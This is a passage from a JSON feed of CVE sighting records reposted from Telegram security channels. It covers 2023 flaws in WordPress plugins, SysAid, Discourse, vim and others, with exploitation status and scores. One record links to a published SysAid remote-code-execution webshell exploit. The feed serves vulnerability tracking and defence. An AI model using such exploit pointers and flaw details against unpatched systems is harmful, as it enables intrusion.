"content": "#ExploitObserverAlert\n\nCVE-2023-47350\n\nDESCRIPTION: Exploit Observer has 3 entries in 3 file formats related to CVE-2023-47350. Cross-Site Request Forgery (CSRF) vulnerability in SwiftyEdit Content Management System prior to v1.2.0, allows remote attackers to escalate privileges via the user password update functionality.\n\nFIRST-EPSS: 0.000580000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2024-01-26T15:51:30.000000Z"}, {"uuid": "cadcaaa9-85f5-481b-865a-bc199584888b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47211", "type": "seen", "source": "https://t.me/arpsyndicate/3021", "content": "#ExploitObserverAlert\n\nPD/http/cves/2023/CVE-2023-47211\n\nDESCRIPTION: Exploit Observer has 4 entries in 4 file formats related to PD/HTTP/CVES/2023/CVE-2023-47211. A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.", "creation_timestamp": "2024-01-26T17:55:49.000000Z"}, {"uuid": "eaf245f9-4eac-4cc9-8a27-aba98828449f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4779", "type": "seen", "source": "https://t.me/cibsecurity/69971", "content": "\u203c CVE-2023-4779 \u203c\n\nThe User Submitted Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's [usp_gallery] shortcode in versions up to, and including, 20230811 due to insufficient input sanitization and output escaping on user supplied attributes like 'before'. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T12:17:56.000000Z"}, {"uuid": "0bfcd71e-f023-4a1e-8c34-b6c9fce9d44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47390", "type": "seen", "source": "https://t.me/arpsyndicate/2455", "content": "#ExploitObserverAlert\n\nCVE-2023-47390\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47390. Headscale through 0.22.3 writes bearer tokens to info-level logs.\n\nFIRST-EPSS: 0.000840000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T12:21:18.000000Z"}, {"uuid": "3843bcf5-a6e5-4bbd-8787-9fa759c64b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4774", "type": "seen", "source": "https://t.me/arpsyndicate/2458", "content": "#ExploitObserverAlert\n\nCVE-2023-4774\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-4774. The WP-Matomo Integration (WP-Piwik) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wp-piwik' shortcode in versions up to, and including, 1.0.28 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000510000\nNVD-IS: 2.7\nNVD-ES: 2.3", "creation_timestamp": "2024-01-04T12:49:33.000000Z"}, {"uuid": "765107a2-2260-4d2d-9e2a-80d2e8669d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47840", "type": "seen", "source": "https://t.me/arpsyndicate/2282", "content": "#ExploitObserverAlert\n\nCVE-2023-47840\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47840. Improper Control of Generation of Code ('Code Injection') vulnerability in Qode Interactive Qode Essential Addons.This issue affects Qode Essential Addons: from n/a through 1.5.2.", "creation_timestamp": "2023-12-31T02:55:38.000000Z"}, {"uuid": "54617eab-bff0-4370-bdf6-d84bd50aa3ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47079", "type": "seen", "source": "https://t.me/arpsyndicate/2370", "content": "#ExploitObserverAlert\n\nCVE-2023-47079\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47079. Adobe Dimension versions 3.4.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nFIRST-EPSS: 0.001240000\nNVD-IS: 3.6\nNVD-ES: 1.8", "creation_timestamp": "2024-01-03T22:32:35.000000Z"}, {"uuid": "e3649e47-17ea-4d44-92f1-d3e318d76993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47121", "type": "seen", "source": "https://t.me/arpsyndicate/2367", "content": "#ExploitObserverAlert\n\nCVE-2023-47121\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-47121. Discourse is an open source platform for community discussion. Prior to version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches, the embedding feature is susceptible to server side request forgery. The issue is patched in version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches. As a workaround, disable the Embedding feature.\n\nFIRST-EPSS: 0.000680000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-03T22:13:02.000000Z"}, {"uuid": "f0f64ccc-9828-407a-aaec-07e1ac76e8e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/arpsyndicate/2294", "content": "#ExploitObserverAlert\n\nCVE-2023-47882\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47882. The Kami Vision YI IoT com.yunyi.smartcamera application through 4.1.9_20231127 for Android allows a remote attacker to execute arbitrary JavaScript code via an implicit intent to the com.ants360.yicamera.activity.WebViewActivity component.", "creation_timestamp": "2023-12-31T04:16:00.000000Z"}, {"uuid": "4546f5de-64f4-4f94-add5-cd6768bcf8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/arpsyndicate/2256", "content": "#ExploitObserverAlert\n\nCVE-2023-47883\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47883. The com.altamirano.fabricio.tvbrowser TV browser application through 4.5.1 for Android is vulnerable to JavaScript code execution via an explicit intent due to an exposed MainActivity.", "creation_timestamp": "2023-12-30T23:22:00.000000Z"}, {"uuid": "0d55d5bc-895b-4330-954c-36bc891a4a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47119", "type": "seen", "source": "https://t.me/arpsyndicate/2053", "content": "#ExploitObserverAlert\n\nCVE-2023-47119\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-47119. Discourse is an open source platform for community discussion. Prior to version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches, some links can inject arbitrary HTML tags when rendered through our Onebox engine. The issue is patched in version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches. There are no known workarounds.\n\nFIRST-EPSS: 0.000520000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2023-12-21T17:37:53.000000Z"}, {"uuid": "39bb9ccd-2192-400f-a443-79a4febf3424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/arpsyndicate/3849", "content": "#ExploitObserverAlert\n\nCVE-2023-47635\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2023-47635. Decidim is a participatory democracy framework. Starting in version 0.23.0 and prior to versions 0.27.5 and 0.28.0, the CSRF authenticity token check is disabled for the questionnaire templates preview. The issue does not imply a serious security thread as you need to have access also to the session cookie in order to see this resource. This URL does not allow modifying the resource but it may allow attackers to gain access to information which was not meant to be public. The issue is fixed in version 0.27.5 and 0.28.0. As a workaround, disable the templates functionality or remove all available templates.", "creation_timestamp": "2024-02-21T15:34:16.000000Z"}, {"uuid": "71a901a4-f38f-496b-a802-212887d811a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47795", "type": "seen", "source": "https://t.me/arpsyndicate/4045", "content": "#ExploitObserverAlert\n\nCVE-2023-47795\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2023-47795. Stored cross-site scripting (XSS) vulnerability in the Document and Media widget in Liferay Portal 7.4.3.18 through 7.4.3.101, and Liferay DXP 2023.Q3 before patch 6, and 7.4 update 18 through 92 allows remote authenticated users to inject arbitrary web script or HTML via a crafted payload injected into a document's \u201cTitle\u201d text field.", "creation_timestamp": "2024-02-22T20:58:25.000000Z"}, {"uuid": "7417111c-e12f-485d-83e4-2425c9b513f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/arpsyndicate/1260", "content": "#ExploitObserverAlert\n\nCVE-2023-47246\n\nDESCRIPTION: Exploit Observer has 12 entries related to CVE-2023-47246. In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.\n\nFIRST-EPSS: 0.667970000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-04T17:15:30.000000Z"}, {"uuid": "1011e4c9-e756-43b6-b169-d062b2b71e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47037", "type": "seen", "source": "https://t.me/arpsyndicate/831", "content": "#ExploitObserverAlert\n\nCVE-2023-47037\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47037. We failed to apply\u00a0CVE-2023-40611 in 2.7.1 and this vulnerability was marked as fixed then.\u00a0  Apache Airflow, versions before 2.7.3, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.\u00a0  Users should upgrade to version 2.7.3 or later which has removed the vulnerability.\n\nFIRST-EPSS: 0.000710000\nNVD-IS: 1.4\nNVD-ES: 2.8", "creation_timestamp": "2023-12-01T06:46:53.000000Z"}, {"uuid": "8dcfed26-70e2-493e-b484-d8d21f50f967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47184", "type": "seen", "source": "https://t.me/arpsyndicate/821", "content": "#ExploitObserverAlert\n\nCVE-2023-47184\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-47184. Auth. (admin ) Stored Cross-Site Scripting (XSS) vulnerability in Proper Fraction LLC. Admin Bar", "creation_timestamp": "2023-11-30T19:09:24.000000Z"}, {"uuid": "d97c53f0-fe2b-4215-952a-8c0843ad80c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/arpsyndicate/377", "content": "#ExploitObserverAlert\n\nCVE-2023-47246\n\nDESCRIPTION: Exploit Observer has 9 entries related to CVE-2023-47246. In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.\n\nFIRST-EPSS: 0.667970000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-23T00:15:23.000000Z"}, {"uuid": "475b1134-c608-4dc3-8380-fc4f717666aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/arpsyndicate/583", "content": "#ExploitObserverAlert\n\nCVE-2023-47246\n\nDESCRIPTION: Exploit Observer has 11 entries related to CVE-2023-47246. In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.\n\nFIRST-EPSS: 0.667970000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-26T03:04:34.000000Z"}, {"uuid": "19ff3d76-18ff-4f61-a69c-7b9932299289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47668", "type": "seen", "source": "https://t.me/arpsyndicate/521", "content": "#ExploitObserverAlert\n\nCVE-2023-47668\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47668.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2023-11-24T08:12:01.000000Z"}, {"uuid": "f3f330d4-8765-4693-913d-0ce7063df2b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47359", "type": "seen", "source": "https://t.me/arpsyndicate/499", "content": "#ExploitObserverAlert\n\nCVE-2023-47359\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47359. Videolan VLC prior to version 3.0.20 contains an incorrect offset read that leads to a Heap-Based Buffer Overflow in function GetPacket() and results in a memory corruption.\n\nFIRST-EPSS: 0.000870000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-23T13:54:02.000000Z"}, {"uuid": "126dc6d5-f611-4a1e-9ad0-d961caf07dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47102", "type": "seen", "source": "https://t.me/arpsyndicate/276", "content": "#ExploitObserverAlert\n\nCVE-2023-47102\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-47102. UrBackup Server 2.5.31 allows brute-force enumeration of user accounts because a failure message confirms that a username is not valid.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 1.4\nNVD-ES: 3.9", "creation_timestamp": "2023-11-19T15:33:30.000000Z"}, {"uuid": "1f413965-f383-47a4-bba5-7dd656a01c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47108", "type": "seen", "source": "https://t.me/arpsyndicate/1686", "content": "#ExploitObserverAlert\n\nCVE-2023-47108\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47108. OpenTelemetry-Go Contrib is a collection of third-party packages for OpenTelemetry-Go. Prior to version 0.46.0, the grpc Unary Server Interceptor out of the box adds labels `net.peer.sock.addr` and `net.peer.sock.port` that have unbound cardinality. It leads to the server's potential memory exhaustion when many malicious requests are sent. An attacker can easily flood the peer address and port for requests. Version 0.46.0 contains a fix for this issue. As a workaround to stop being affected, a view removing the attributes can be used. The other possibility is to disable grpc metrics instrumentation by passing `otelgrpc.WithMeterProvider` option with `noop.NewMeterProvider`.\n\nFIRST-EPSS: 0.000880000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-12-11T01:48:07.000000Z"}, {"uuid": "56556e39-c437-444c-b481-dcc63f1dfcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47840", "type": "seen", "source": "https://t.me/cibsecurity/73919", "content": "\u203c\ufe0fCVE-2023-47840\u203c\ufe0f\n\nImproper Control of Generation of Code 'Code Injection' vulnerability in Qode Interactive Qode Essential Addons.This issue affects Qode Essential Addons from na through 1.5.2.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:36:10.000000Z"}, {"uuid": "e88c5ef0-cca5-4e29-b5fa-4c0b706c7230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47437", "type": "seen", "source": "https://t.me/arpsyndicate/707", "content": "#ExploitObserverAlert\n\nCVE-2023-47437\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47437.", "creation_timestamp": "2023-11-29T09:13:15.000000Z"}, {"uuid": "e1e08320-5e96-47ef-b8fe-1e8e60b94c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4795", "type": "seen", "source": "https://t.me/cibsecurity/72360", "content": "\u203c CVE-2023-4795 \u203c\n\nThe Testimonial Slider Shortcode WordPress plugin before 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admin\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:28.000000Z"}, {"uuid": "e91223b4-d841-4b2d-b926-68e0c90d0df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4783", "type": "seen", "source": "https://t.me/cibsecurity/72351", "content": "\u203c CVE-2023-4783 \u203c\n\nThe Magee Shortcodes WordPress plugin through 2.1.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:18.000000Z"}, {"uuid": "356f3e06-e47e-47cd-aa2c-fd59b657cab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/mGP7hj16dqesl95DJ6RwBOASV1j0GTqY6jyPxtM9isfpeQ", "content": "", "creation_timestamp": "2023-11-09T18:14:37.000000Z"}, {"uuid": "56fc80b5-2b64-48e8-b5e8-e8c1ed02bdc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4798", "type": "seen", "source": "https://t.me/cibsecurity/72349", "content": "\u203c CVE-2023-4798 \u203c\n\nThe User Avatar WordPress plugin before 1.2.2 does not properly sanitize and escape certain of its shortcodes attributes, which could allow relatively low-privileged users like contributors to conduct Stored XSS attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:16.000000Z"}, {"uuid": "bcafcd37-beaf-42f6-a20a-8a801988756e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4725", "type": "seen", "source": "https://t.me/cibsecurity/72353", "content": "\u203c CVE-2023-4725 \u203c\n\nThe Simple Posts Ticker WordPress plugin before 1.1.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:21.000000Z"}, {"uuid": "9bf28850-e3ae-4967-9f7b-98210e7a2331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/itARMYofUkraine2022_INT/27656", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u043d\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \"\u0434\u043d\u044f \u043d\u0443\u043b\u044c\" \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0443 SysAid, \u0456\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u043e\u0432\u0430\u043d\u0430 \u044f\u043a CVE-2023-47246, \u0431\u0443\u043b\u0430 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u0430 \u043a\u0456\u0431\u0435\u0440\u0437\u043b\u043e\u0447\u0438\u043d\u0446\u044f\u043c\u0438, \u043f\u043e\u0432\u2019\u044f\u0437\u0430\u043d\u0438\u043c\u0438 \u0437 \u0432\u0456\u0440\u0443\u0441\u043e\u043c-\u0432\u0438\u043c\u0430\u0433\u0430\u0447\u0435\u043c CLOP. \u0426\u044f \u0431\u0435\u0437\u043f\u0435\u043a\u043e\u0432\u0430 \u0448\u043f\u0430\u0440\u0438\u043d\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0443. Microsoft \u0432\u0438\u044f\u0432\u0438\u0432 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u0456 SysAid \u0432\u0436\u0435 \u0432\u0438\u043f\u0443\u0441\u0442\u0438\u0432 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044f. \u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c, \u0449\u043e \u0437\u0430\u0437\u043d\u0430\u043b\u0438 \u0432\u043f\u043b\u0438\u0432\u0443, \u0440\u0430\u0434\u0438\u043c\u043e \u043d\u0435\u0433\u0430\u0439\u043d\u043e \u043e\u043d\u043e\u0432\u0438\u0442\u0438\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0456\u0457 23.3.36 \u0442\u0430 \u0441\u043b\u0456\u0434\u0443\u0432\u0430\u0442\u0438 \u0432\u043a\u0430\u0437\u0456\u0432\u043a\u0430\u043c SysAid \u0434\u043b\u044f \u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0441\u0432\u043e\u0457\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \n\n\u0411\u0443\u0434\u044c\u0442\u0435 \u043f\u0438\u043b\u044c\u043d\u0456! \u0414\u0456\u043b\u0456\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0439 \u0434\u043e\u0441\u0432\u0456\u0434\u043e\u043c \u0437 \u0437\u0430\u043f\u043e\u0431\u0456\u0433\u0430\u043d\u043d\u044f \u043a\u0456\u0431\u0435\u0440\u0437\u0430\u0433\u0440\u043e\u0437 \u0443 \u043d\u0430\u0448\u043e\u043c\u0443 \u0447\u0430\u0442\u0456.\n\u2014\nA critical \"zero-day\" vulnerability in SysAid identified as CVE-2023-47246 was exploited by cybercriminals linked to the CLOP ransomware. This security gap allowed the execution of arbitrary code. Microsoft detected the issue, and SysAid has already released a fix. Users affected are advised to immediately update to version 23.3.36 and follow SysAid's instructions to protect their systems.\n\nStay alert! Share problems and experiences with preventing cyber threats in our chat.", "creation_timestamp": "2023-11-13T18:03:16.000000Z"}, {"uuid": "0cc54131-2fcc-459d-a1fc-d7984f942588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/KomunitiSiber/1052", "content": "Zero-Day Alert: Lace Tempest Exploits SysAid IT Support Software Vulnerability\nhttps://thehackernews.com/2023/11/zero-day-alert-lace-tempest-exploits.html\n\nThe threat actor known as Lace Tempest has been linked to the exploitation of a zero-day flaw in SysAid IT support software in limited attacks, according to new findings from Microsoft.\nLace Tempest, which is known for distributing the Cl0p ransomware, has in the past leveraged zero-day flaws in\u00a0MOVEit Transfer\u00a0and\u00a0PaperCut servers.\nThe issue, tracked as\u00a0CVE-2023-47246, concerns a path traversal", "creation_timestamp": "2023-11-09T18:40:03.000000Z"}, {"uuid": "aecc06b5-0fe6-44d5-a9e7-9e34bcc9cbbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4736", "type": "seen", "source": "https://t.me/cibsecurity/69702", "content": "\u203c CVE-2023-4736 \u203c\n\nUntrusted Search Path in GitHub repository vim/vim prior to 9.0.1833.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T22:14:51.000000Z"}, {"uuid": "afbab791-8b40-45c7-8de9-0ade4d4a7cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "Telegram/cJE2f1Ylibso8WfxExY7XnGGn9loSwHSSInb5Uh2BQYHEQ", "content": "", "creation_timestamp": "2023-09-28T05:04:24.000000Z"}, {"uuid": "8898282f-5f69-451f-9491-f9d1f4e3c0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4735", "type": "seen", "source": "https://t.me/cibsecurity/69701", "content": "\u203c CVE-2023-4735 \u203c\n\nOut-of-bounds Write in GitHub repository vim/vim prior to 9.0.1847.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T22:14:50.000000Z"}, {"uuid": "e55421c0-4e10-4854-b88d-72c025230260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47858", "type": "seen", "source": "https://t.me/cibsecurity/74176", "content": "\u203c\ufe0fCVE-2023-47858\u203c\ufe0f\n\nMattermost fails to properly verify the permissions needed for viewing archived public channels,\u00a0\u00a0allowing a member of one team to get details about the archived public channels of another team via the\u00a0GET apiv4teamschannelsdeleted endpoint.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:35:15.000000Z"}, {"uuid": "a4879732-bd29-4d30-9bd6-1a6528ce047d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3583", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP\n\n\nSysAid RCE \uff08webshell \uff09", "creation_timestamp": "2023-11-21T14:55:04.000000Z"}, {"uuid": "694d88e6-72ef-4f3d-94bd-1e1a2e820df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47458", "type": "seen", "source": "https://t.me/cibsecurity/74200", "content": "\u203c\ufe0fCVE-2023-47458\u203c\ufe0f\n\nAn issue in SpringBlade v.3.7.0 and before allows a remote attacker to escalate privileges via the lack of permissions control framework.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:37:13.000000Z"}, {"uuid": "86dd7f0d-ae3a-412b-b647-e1a8f82c48b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4734", "type": "seen", "source": "https://t.me/cibsecurity/69700", "content": "\u203c CVE-2023-4734 \u203c\n\nInteger Overflow or Wraparound in GitHub repository vim/vim prior to 9.0.1846.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T22:14:49.000000Z"}, {"uuid": "1c9e85b8-626b-4e99-ba92-cd5dcc04d9d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47857", "type": "seen", "source": "https://t.me/cibsecurity/74172", "content": "\u203c\ufe0fCVE-2023-47857\u203c\ufe0f\n\n in OpenHarmony v3.2.2 and prior versions allow a local attacker cause multimedia camera crash through modify a released pointer.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:54.000000Z"}, {"uuid": 